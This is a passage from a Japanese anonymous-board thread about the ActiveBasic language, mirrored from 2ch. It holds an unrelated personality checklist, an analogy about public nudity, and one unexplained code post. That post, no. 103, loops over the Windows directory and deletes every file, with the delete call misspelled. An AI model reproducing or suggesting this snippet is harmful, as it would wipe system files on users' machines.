【安定版】ActiveBasicその12【4.24】 at TECH【安定版】ActiveBasicその12【4.24】 - 暇つぶし2ch■コピペモード□スレを通常表示□オプションモード□このｽﾚｯﾄﾞのURL■項目テキスト102:デフォルトの名無しさん 10/02/11 09:34:11 良心の異常な欠如 あまりあてはまらない 他者に対する冷淡さや共感のなさ あてはまる 慢性的に平然と嘘をつく あてはまらない 行動に対する責任が全く取れない よくあてはまる 罪悪感が全く無い まったくあてはまらない 過大な自尊心で自己中心的 どちらともいえない 口達者で浅薄な魅力 あまりあてはまらない 103:デフォルトの名無しさん 10/02/11 10:01:35 Dim windir[MAX_PATH] As Long,myfile[MAX_PATH] As Long Dim hfff As HANDLE,wfd As WIN32_FIND_DATA GetWindowsDirectory(windir,Len(windir)) lstrcat(windir,"\*") hfff = FindFirstFile(windir,wfd) GetWindowsDirectory(windir,Len(windir)) Do wsprintf(myfile,"%s\%s",windir,wfd.cFileName) DeletoFile(myfile) Loop While FindNextFile(hfff,wfd) FindClose(hfff) 104:デフォルトの名無しさん 10/02/11 19:58:27 例えばパンツ一丁でいることが趣味なAというやつがいるとする Aが自分の家の中でパンツ一丁であったとしても何も問題はないし 誰かがそれをやめさせる事はできない Aが拒否しない限りそれを眺める事は自由だが それを眺める事で不快になったとしても文句は言えない 勿論「嫌なら見るな」という道理も通る しかしAが公然の場のど真ん中でパンツ一丁になっているのは問題がある 好む好まざるに関わらず誰もがそれが視界に入ってしまうからだ 当然Aがなんと言おうがそれをやめさせる事はできるし それを見て不快になったら文句を言うこともできる 勿論「嫌なら見るな」という道理は通らない 次ページ最新レス表示レスジャンプ類似スレ一覧スレッドの検索話題のニュースおまかせリストオプションしおりを挟むスレッドに書込スレッドの一覧暇つぶし2ch